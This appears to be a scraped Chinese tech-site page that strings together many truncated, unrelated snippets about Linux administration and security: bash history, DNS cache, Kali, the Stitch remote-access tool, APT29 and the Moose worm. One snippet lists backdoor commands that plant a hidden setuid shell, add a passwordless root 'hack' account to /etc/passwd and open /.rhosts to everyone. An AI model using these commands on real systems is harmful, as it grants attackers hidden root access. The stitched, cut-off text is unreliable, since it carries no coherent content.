https://github.com/mingongge/Learn-a-Linux-command-every-day
bash 历史记录记录了用户在 Linux 命令行上执行的所有命令。这允许你使用键盘的上up arrow或者键盘的下down arrow键滚动查看命令历史文件。 在本文中，我们将向你展示两种在 Linux 系统上清除命令行历史记录的简单方法。 例如，如果你输入了一个包含纯文本密码的命令，并且你不希望其他系统用户或攻击者看到此密码，则需要删除或清除历史文件。 rumenz用户在命令行中输入了数据库服务器密码。 $ sudo mysql -u root -p123456 如果你在最后查看bash历史文件，你会
在这篇文章中，我们将详细探讨如何解决在升级到 IntelliJ IDEA 最新版（2024.1.3 Ultimate Edition）后遇到的 Git 记住密码功能失效的问题。这篇文章将通过多级标题、引用语法以及详细的操作步骤，帮助读者轻松解决这个困扰。不论你是初学者还是经验丰富的开发者，都能从中受益。关键词：IntelliJ IDEA 2024.1.3、Git 记住密码、凭证管理、技术博客、操作指南。
在日常开发中，开发者经常需要频繁地与远程仓库进行交互，这时每次操作都要输入用户名和密码，不仅麻烦，还容易出错。Git 提供了一种解决方案，叫做 Credential Cache，可以缓存我们的凭证，使我们的开发流程更加顺畅。
Linux环境下处理应急响应事件往往会更加的棘手，因为相比于Windows，Linux没有像Autorun、procexp这样的应急响应利器，也没有统一的应急响应处理流程。
今天波哥收集整理了linux世界中的10大病毒的特点及影响。Linux系统由于其高度的安全性和开源特性，比起Windows和其他操作系统，病毒和恶意软件的感染案例要少得多。然而，这并不意味着Linux系统就是完全安全的，它们也可能受到攻击。以下是一些曾影响Linux系统的恶意软件以及它们的概述和危害：
渗透测试就是利用我们所掌握的渗透知识，对网站进行一步一步的渗透，发现其中存在的漏洞和隐藏的风险，然后撰写一篇测试报告，提供给我们的客户。客户根据我们撰写的测试报告，对网站进行漏洞修补，以防止黑客的入侵！
它主要完成的工作有：激活交换分区，检查磁盘，加载硬件模块以及其它一些需要优先执行任务。 8. 建立终端
8G以上U盘（eveything版本很大，如果U盘容量不足请选择DVD版本ISO）
DNS 缓存是一个临时数据库，用于存储有关以前的 DNS 查找的信息。换句话说，每当你访问网站时，你的操作系统和网络浏览器都会保留该域和相应 IP 地址的记录。这消除了对远程 DNS 服务器重复查询的需要，并允许你的 OS 或浏览器快速解析网站的 URL。
who am i ~ 除了用户名，还显示登陆的终端、当前的日期和时间以及所使用的计算机的IP地址
解读：手机安装 kali-nethunter ，实际上是安装一个 安卓 Cyanogenmod 系统 （cm-13等）的 ROM ,然后再安装一个 kali-nethunter 系统，共同存在手机内的重合系统体，在需要使用kali时，手机自动切换根目录（chroot）。
最近明月因为工作关系更换了几次使用的电脑，期间就发现明明另一台电脑访问某个网址是正常，换一台电脑后就会出现无法访问的现象，并且用的还是同一个宽带网络，实在是太诡异了！后来还是突然想起来 DNS 缓存这个问题，立马清除了那台电脑的 DNS 缓存后，打不开的网址顺利的呈现出来了。DNS 缓存就这么重要吗？DNS 缓存是什么原理？如何清除 DNS 缓存？今天明月就详细的给大家说到说到。
Kodachi Linux 是一款基于 Debian 8.6 的操作系统。它是专为保护用户隐私而设计的，因此具有高度的安全及匿名性，并具备反调查取证的特点。 Kodachi 的使用也非常方便简单，你可以通过 USB 驱动来在你的 PC 上启动它。当你完全启动 Kodachi 操作系统后，你将会建立一个 VPN+Tor+DNScry 服务器的运行环境。你不需要特别了解或学习 Linux 的知识，Kodachi 都为你准备好了你所需要的！整个操作系统都活动在你的临时内存 RAM 下。因此，你一旦你关机，任何
Stitch是一款基于Python的跨平台远程管理工具。由于其跨平台性，Stitch允许用户针对Windows, Mac OSX 或 Linux分别定制不同的payload。你可以根据自己的需要，来选择绑定的IP及监听端口。 你还可以设置是否在目标系统启动时，向你发送系统信息邮件，以及是否开启键盘记录。 特点： 跨平台支持： 文件及命令自动执行 防病毒检测 可以打开或关闭显示屏监视器 隐藏或显示文件和目录 查看或修改hosts文件 查看系统所有环境变量 键盘记录器具有查看状态，启动，停止和将日志转储到主
https://github.com/Ridter/Intranet_Penetration_Tips
安装Ubuntu后，开机会默认进入到图形界面，如果不喜欢图形界面，可以通过修改配置，直接进入命令行界面，还行节省100多兆的内存空间。具体方法如下：
ShredOS 是一个 即用(Live) Linux 发行版，它的唯一目的是清除驱动器的全部内容。它是在一个名为 DBAN 的类似发行版停止维护后开发的。它使用 nwipe 应用，它是 DBAN 的 dwipe 的一个分叉。你可以通过下载 32 位或 64 位镜像，并在 Linux 和 macOS 上使用 dd 命令将其写入驱动器来制作一个可启动的 USB 驱动器：
经过前几篇的铺垫，进入中间件日志排查篇。由于各种各样的原因安全人员获取到的告警信息很可能是零零碎碎的，且高级黑客的整个入侵过程很可能十分完整，包含了清除痕迹等，这就导致了几种情况可能会发生：可疑威胁文件已被删除，无法定位；远程命令执行痕迹已被清除，无法还原攻击者入侵路径。
0x00 概述 对从业渗透测试的人员来说，保持技能更新是非常重要的，而更新技能的过程中，需要大量的去学习、实践和总结，比较传统的学习方式是通过虚拟机安装靶机来练习，这种方式往往缺少一种真实渗透中的网络环境，而拿真实的网络来搞事往往会面临很对未知的风险，比如被查水表什么的。在工作中，有时候测试一个内网转发脚本、恶意程序或避免影响业务需要一个沙箱环境，目前比较常见的是使用GNS3（网络设备模拟器）+虚拟机来模拟网络环境，随着云计算技术的兴起，无疑给建立虚拟环境多了一种选择，通过虚拟技术，可以建立更加复杂的测试环
说明：Alpine Linux是一个社区开发的面向安全应用的轻量级Linux发行版操作系统，占用资源很少，初始状态基本只占用几M内存和几十M硬盘，而且还很稳定，适合很多小型服务器和设备使用，这里就分享一个OVZ的Alpine脚本，基本几秒安装完成。
这篇文章，主要介绍linux系统下如何安装mysql数据库服务器，非常详细，具有参考借鉴价值，需要的朋友们可以收藏转发。 系统环境：linux-centos 安装文件：mysql5+ 1：首先查看系统
本人有幸参加了一些线下的攻防演练，比较熟悉攻防对抗的流程和手法，和很多师傅们在线下也有过深入学习交流，同时也产生了一些自己的想法。
让学生了解shell的启动过程，shell的功能，shell的命令形式，shell程序的建立和运行,理解管道和重定向，环境变量和系统变量以及变量引用方式。
系统要求 Kali 系统对硬件有一些最基本的要求及建议。根据用户使用目的，你可以使有更高的配置。这篇文章中假设读者想要把 kali 安装为电脑上唯一的操作系统。 至少 10GB 的磁盘空间；强烈建议分配更多的存储空间。 至少 512MB 的内存；希望有更多的内存，尤其是在图形界面下。 支持 USB 或 CD/DVD 启动方式。 Kali Linux 系统 ISO 镜像下载地址 https://www.kali.org/downloads/。 使用 dd
近日接到客户求助，他们收到托管电信机房的信息，通知检测到他们的一台服务器有对外发送攻击流量的行为。希望我们能协助排查问题。
树莓派是一个有用且价格低廉的家庭服务器，可用于很多事情。我的树莓派最常用来做打印服务器，可以在我的家庭网络中共享激光打印机，或作为个人文件服务器保存项目副本和其他数据。
攻击溯源作为安全事故中事后响应的重要组成部分，通过对受害资产与内网流量进行分析一定程度上还原攻击者的攻击路径与攻击手法，有助于修复漏洞与风险避免二次事件的发生。攻击知识可转换成防御优势,如果能够做到积极主动且有预见性，就能更好地控制后果。
首先，这个模块在win下有点鸡肋，作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装，所以推荐在linux下跑，我测试所使用的是Kali 2.0 自带python 2.7.6 ，可直接通过 pip install pywifi 安装。
OpenSSH是SSH（Secure Shell）协议的免费开源实现。很多人误认为OpenSSH与OpenSSL有关联，但实际上这两个计划有不同的目的和不同的发展团队，名称相近只是因为两者有同样的发展目标──提供开放源代码的加密通信软件。
VirtualBox是一款开源虚拟机软件。VirtualBox 是由德国 Innotek 公司开发，由Sun Microsystems公司出品的软件，使用Qt编写，在 Sun 被 Oracle 收购后正式更名成 Oracle VM VirtualBox。Innotek 以 GNU General Public License (GPL) 释出 VirtualBox，并提供二进制版本及 OSE 版本的代码。使用者可以在VirtualBox上安装并且执行Solaris、Windows、DOS、Linux、OS/2 Warp、BSD等系统作为客户端操作系统。现在则由甲骨文公司进行开发，是甲骨文公司xVM虚拟化平台技术的一部份。
听到 Linux，大多数人都会想到一个只有程序员才能使用的复杂操作系统，但Linux其实并不难。
系统管理员能用它管理系统用户的密码，只有管理员可以指定用户名称，一般用户只能变更自己的密码。
linux服务器在运行过程中，会有很多默认的服务在运行，而且这些服务通常是没用，这些服务占用了系统资源，存在安全隐患，关闭这些没用的服务
~/.ssh文件夹下，直接暴力删除known_hosts文件，或打开文件删除对应ip连接保存的秘钥。
你有将Linux物尽其用吗？有些时候你会需要这些技巧。本博文会帮助你更好得使用一些命令，发挥其更强大的功能。
1. setuid #cp /bin/sh /tmp/.sh #chmod u+s /tmp/.sh 加上 suid 位到shell上，虽然很简单，但容易被发现 2. echo "hack::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0（root)的帐号，无口令。 但管理员很快就可以发现哦！ 3.echo "++">>/.rhosts 如果这个系统开了512,513的port呵呵，就可以 把一个名为hack加到.rhosts文件中，rlog
硬链接：相当于原文件的一个备份副本，本质上还是一个文件，内容会随源文件的修改而修改，但是源文件删除后依然存在
越来越多的人使用宝塔Linux面板来管理我们的服务器网站，最主要他是可视化的操作方式更加符合我们的一般用户习惯，同时对于没有技术知识的人来说就算是解决了大大的问题了。
彩虹Kangle一键脚本，是一款可以一键安装Kangle+Easypanel+MySQL+PHP集合的Linux脚本。 脚本本身集成：PHP5.3~8.2、MYSQL5.6~8.0，支持极速安装和编译安装2种模式，支持CDN专属安装模式。同时也对Easypanel面板进行了大量优化。
攻击者在获取系统权限后，通常会留下后门以便再次访问。本文将对Linux下常见的权限维持技术进行解析，知己知彼百战不殆。
拿到树莓派后，你需要进行一些初始化设置，以便于用起来更方便。除此之外，你可能需要安装一些软件，以便树莓派能实现更加强大的功能。 常见初始化设置 1）设置密码： 树莓派的默认用户名是pi，没有密码。这意味着别人可以随意使用你的树莓派。你可以在终端中为pi用户设置密码： $sudo passwd pi 2）拓展文件系统 一开始的Raspbian镜像只有4G。这意味着你的树莓派也只会使用SD卡上4G的空间。如果SD卡有16G大小，那么就浪费了12G的空间。为此，我们可以让Raspbian的文件系统扩展到整张SD
ESET的安全研究员发表了一篇技术报告，报告中详细分析了一个新的蠕虫Linux/Moose。它的攻击对象主要是调制解调器、家用路由器和其他嵌入式计算机，可将这些设备变成一个代理网络，然后创建伪造的社交账号实施欺诈行为。 该恶意程序是由Olivier Bilodeau和Thomas Dupuy发现的，它会感染基于Linux的路由器和其他基于Linux系统的设备。如果它发现有其他的恶意程序和它争夺路由器的有限资源，会将其清除，然后继续寻找下一个感染目标。 Moose蠕虫不会利用路由器上存在的任何漏洞，它
APT29是威胁组织，已被归于俄罗斯政府情报组织，APT29至少从2008年开始运作，具有YTTRIUM、The Dukes、Cozy Duke、Cozy Bear、Office Monkeys等别名。主要攻击目标为美国和东欧的一些国家。攻击目的是为了获取国家机密和相关政治利益，包括但不限于政党内机密文件，操控选举等。与APT28，同属于俄罗斯政府的APT28相互独立，但在某种程度上会联合行动。APT29是东欧地区最为活跃的APT组织之一。该APT的许多组件均通过伪造的Intel和AMD数字证书进行签名。
有些情况下，虚拟机安装完毕，使用一段时间root密码失效，这时无法登陆，可以使用如下步骤清除密码：
Linux的操作一起皆文件，Linux将所有的设备、文件、进程等都当做文件来处理，统一了对它们的操作方法，使得Linux具有了很高的灵活性和可扩展性。
操作步骤： 1.首先对mysql5.7的表数据和结构做全量备份 2.删除mysql5.7，清除log=/var/log/mysqld.log和Datadir=/var/lib/MySQL的数据，其中log、datadir的路径在/etc/my.cnf中可以找到； 3.安装数据库mysql8.0 4.数据回导，把步骤一备份的数据导入新的数据库中。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
